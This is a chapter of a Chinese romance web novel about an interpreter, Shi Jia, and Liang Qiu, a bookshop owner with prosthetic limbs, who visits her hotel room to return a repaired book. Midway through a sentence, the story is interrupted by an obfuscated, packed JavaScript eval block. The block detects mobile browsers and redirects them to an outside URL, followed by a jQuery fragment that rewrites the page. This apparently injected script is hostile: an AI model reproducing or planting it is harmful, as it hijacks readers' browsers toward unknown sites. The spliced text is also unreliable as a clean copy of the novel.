施珈拉开窗帘,外头阳光很薄,水洗蓝的天空云朵成团,应当是个舒适的好天气。
她洗漱完略微些发虚的感觉,没喝水就直接先拆了两片曲奇吃下去,今天她起来已经下午一点。施珈定期会从香港邮回来钟爱品牌的曲奇,独立包装方便携带。工作有时候不能按时用餐,她怕低血糖,习惯常备几片在包袋里。
再喝了半杯冰苏打水,施珈才缓过来些。
前夜,她一直到四点多才睡下。连续低沉压抑的情绪,且晚餐她当真很久没这样正经吃过。梁丘那样不方便烧出来的夜饭,施珈不想弗了他的好意,其实是勉强自己多吃些的。双重重压之下,胃疼了大半个晚上,中途去吐了一次,直到忍不住熬到两点多,她才叫了快药。
施珈站在落地窗前,今天没什么安排,她一面发呆一面计划,要不要把手袋和皮鞋送去护养店清洁修复一下。
那日在梁丘的书店摔倒,手袋侧边和底面,以及鞋尖,都刮伤了。她在这类用品上都是长期主义的践行者,通勤坚持三只奢牌的经典款包袋交替使用,鞋子也都是品牌几个经典百搭的款式。
她正慢半拍的犯懒时,周萌师姐的电话进来,这回是真找施珈救场一个听译的活,一场财经论坛里的专家学者访谈交流环节,总共一小时的中英听译。
周萌前两年生了孩子后有了自己单干的念头,拢了拢手里的资源,雷厉风行地就拉起来一间工作室。工作室的主力是她和丈夫两人,其余的都是些师兄弟、师姐妹以自由译员的形式接活合作。
今朝临时找上施珈她很不好意思,本来她认为难度不大的活,工作量也不大,商人心理地压了些价格给了一个大四的学妹。没想到,这都要交稿前一天了,学妹姗姗来迟的译文,她才校对了20分钟的内容,发现根本不能用。周萌把师学妹发来的文档也给到施珈,无力吐槽,我们本校的水平什么时候成了这个样子。
施珈戴上AirPods,笑而未语,一面也想看看要师姐抓狂的译稿。
师姐那边说,她甚至都怀疑学妹转下来的内容怕不是AI加工,精准都存疑,因为这段音视频她过了一眼,专家学者们的英音分明都自己的口音。
可施珈有些不大想接这个活呢。倒不是时间紧,她不喜欢接急火饭且还是回锅饭的活。
之前入行不久碰到过这类活,彼时她觉得在她手上不过就是重来一遍,她认真就是,不想实际是那边的客户出问题。最后三倍的工作量不说,那头还一堆埋怨。再有,不论什么所谓的难度高低,对翻译人员来说,一旦开始都是要投入十足的精力与心力。
施珈要婉拒的,她今天确实精神不大好,师姐听罢,遂打起人情牌来。
师姐哔哩啪啦输出的同时,施珈手机上收到一条梁丘的微信,说他在昨晚的停车场停着,她找的那本西语书已经修好,他给她送来了。
施珈顿一下,师姐这边好像一时没办法断掉,只好回了条微信给梁丘,急吼吼下楼去找他。
绕到酒店大堂外头的右后方停车坪,她第一眼张过去的是残疾人车位,果然,停着辆熟悉的白色SUV。
梁丘已经在副驾侧的车门旁等她,又是一袭黑衣的完整的装扮,远远同她招了招手。
施珈走过去,梁丘才把手机装进右边衣袋,“珈……”
他看见她指了下右耳塞着的耳机,再朝酒店大堂方向指指,示意请他上楼。
梁丘确实有心想看看施珈在酒店的居所,环境与安全,只是没料到是这般突然的状况下,由她不设防的邀请。听她似乎在沟通工作,他没打扰也没耽误,从副驾拿出一个书店logo的纸袋,转头跟上她的脚步。
梁丘走在施珈身侧垂眸看她,素净的脸,头发随意夹在脑后,身上的黑色套头卫衣领口还有些歪着,露出里面白色衣衫的领口,宽松垂坠的居家裤裤腿随着她的脚步轻轻摆动。这模样,显然应该是起来不久,且急着下楼来。
施珈这边还在应付师姐。周萌说和丈夫手头都压着活,实在顾不过来,甚至求似的口吻,请施珈帮忙,只有施珈给的东西她才从来不需要校对的安心。她说这回在对方给的报价基础上,她私人加百分之二十的酬劳给施珈,实在这个客户她丢不得,他们还在谈后边的合作。
施珈俨然不想再这么言语上的拉锯战下去,刚要说些什么,后边猛然一股冲撞力,她脚下趿着的穆勒拖鞋再被踩住鞋跟,抬脚间一绊,人不受控制往前摔出去。
一切情急中的人,大概总第一时间条件反射地要自保和自救。她左手紧握着通话中的手机和房卡向前要撑住地面,抬起的右手条件反射地朝旁边的人抓过去,想借力攀住些什么。
梁丘一瞬亦本能侧身要去扶施珈,却措不及防被她先一步抓住身侧的左手。往下的重力带得梁丘脚下不稳,美容义肢也被脱出了手臂兜在他衣袖里。
他踉踉跄跄才勉强右手去托住了施珈没跪在地上。
此时,身后孩子母亲追了上来,牵着闯祸的小男孩拉到自己身边,满脸歉意的道歉,再一面责怪孩子不听话的猢狲精,乱跑什么。
梁丘难免有些狼狈,几乎与男孩母亲同时问施珈有没有事。他看施珈摇头,另一面依旧冷静回复电话那头,她要确定一下交稿形式和时间,声音没有丝毫慌乱。
而施珈匆匆应下师姐的活,不过是明显感觉到她手里握着的一截手臂松动了,被动且没有生命力的坠着,也更是她将梁丘的勉强看在眼里。
师姐那边大概亦觉察到些嘈杂声音,只是问了她一句怎么了,终究没等她说话,落定般松了口气就回复她的问题:听译,纯翻译,中英双语,明天上午交稿,文件和资料马上邮件传给她。
施珈应好,揿掉通话站起来,张口先冲着梁丘,“你,要不要紧的呀。”
梁丘意外地微愣一下,亦是他很少听她这么鲜明的江南腔调了。
没事,他眼神落到自己的左手,低声告诉她别吓到孩子。施珈才转而面无波澜淡淡叮嘱家长,请她公共场所小心约束孩子。
她由着大堂接待人员去问询,不再多回应家长的道歉,托着梁丘松脱的左臂,挨着他先往电梯处走过去。
-
两人并肩,沉默着回到施珈的房间。
四十多平的半开放小套间,中间一面电视墙留出两侧的通道,半分隔出起居室和日常活动空间。
沙发旁,梁丘略微扫一眼简单的空间,才发觉施珈的手还托在他义肢的小臂上,神情中隐隐的欲言又止。
梁丘压着胸口的一声叹,含着笑意喊她,“没关系了。”
施珈不放心,严肃地望他,要他看看有没有哪里被她弄坏、弄伤。
梁丘手里的纸袋递给她,答复的却是其它,“不是说一直在找这本西语书么,没找到新的,上次坏掉的书页修好了,应当不影响你用。”
施珈急死了,接过纸袋很仓促的一句“谢谢”便搁到茶几上,她很认真的模样,一声不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059599|179150||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
响等着他。
梁丘低头一声轻笑,他让步了,从前就没办法她的倔。他先脱了半边外衫,稍稍背过身去才脱出来那半条手臂。
没着急转身,梁丘回头,侧脸已经看出他的踟蹰同紧绷,“珈珈,你……”
哪晓得,施珈这厢两步走到他面前,从他手里接过来他想藏起来的东西,以及,也接过来他的犹豫连同不知名的情绪。
实心讲,乍一眼看到那条肉色的美容手,再加上硅胶的触感,有些诡异,施珈不至于惊骇,但也贴贴切切的心颤一下。然而,她出口的话却是出人意料的锐评,“假得很逼真。”
“还蛮重的,好像是不太方便。”大概想掩盖心虚,人的话也密一些,施珈耳朵发烫。
梁丘不防,有人如今连莽张飞的劲都是果断且冷静的味道。
右手握住左边的一截小臂,当作微乎其微的一点遮挡吧,他顺着施珈的目光看过来,“真的没事。”
施珈对他手肘上方压出来的红痕拧一下眉毛,“你平时都这样吗。”她语气里分明的不满意。
“嗯?”梁丘清了清嗓子,“平时,正式场合,会用。”
“和我见面是正式场合吗。”
梁丘看施珈抱着他的手臂,心里奇异的感觉,最终无奈地笑出来,“是我想正式些吧。”大概心里装着一个人,心也要重一些。
“但我更赞同人应该首要考虑自己舒适,这才是实实在在的生活。”施珈再真实不过的一句辩驳同观点,“别戴了,至少见我不需要。”
不等梁丘反应,施珈把他的手还给他,转身去电视墙前面茶水台下方的冰箱里拿了支水出来。
水才递到他手里,施珈霎时又收了回去。她不响地抽了张纸裹住瓶盖,憋着口气拧开,再递了过去。
“最近有点忙,没准备什么能招待的东西,你先喝点水吧。”
“谢谢。”她无声的关照,梁丘实在摒不住一点失落,“你不用……谢谢。”
施珈拿出那边西语小众词解书,“这本书,能给我的吗,我是说,想买下来。”
梁丘手上一紧,心里陡然好像比手中的水更冷。其实他也明白,昨天施珈的那个拥抱后,她那种要靠近又想疏离的矛盾,他甚至比她跟理解她的矛盾。
于是,梁丘沉默也沉重的喟叹,“书是给你的,你不要多想。珈珈,其实你还愿意理我,我已经庆幸和感激,对不起。我依旧希望你不会和我客套,甚至可以朝我煞性子。”
施珈抿着唇,终究错开他的目光,“谢谢你的书,我去收一下邮件,你先坐一下,或者随便看看,晚点再说吧。”
施珈心软了,她人生中唯一光一样的存在,要她怎样视而不见,听而不闻呢。
梁丘等施珈走开,才弯腰按了按左腿接受腔的边缘。昨天他的腿已经有些不适意,方才在大堂又似乎一点移位别了下,怕坐下反倒再起身要难受,索性慢慢踱着步看她的住处。
进门的墙角处放着一个红色阻门器,走廊的嵌入式衣帽架上挂着的是把长柄伞,下面的隔层,有平底和中跟的两双经典款通勤单鞋。房间很整洁却也看不出生活气。
再走进去,他才看清楚茶水台的台面上,一只白色塑料收纳盒里码得满满当当各类小瓶装和袋装的营养补剂。
角落,有个折了一道的快药纸袋,梁丘抚平上头钉着的清单,看上面清楚写着下单内容:一盒达喜铝碳酸镁咀嚼片,下单时间是今天的凌晨2点13分。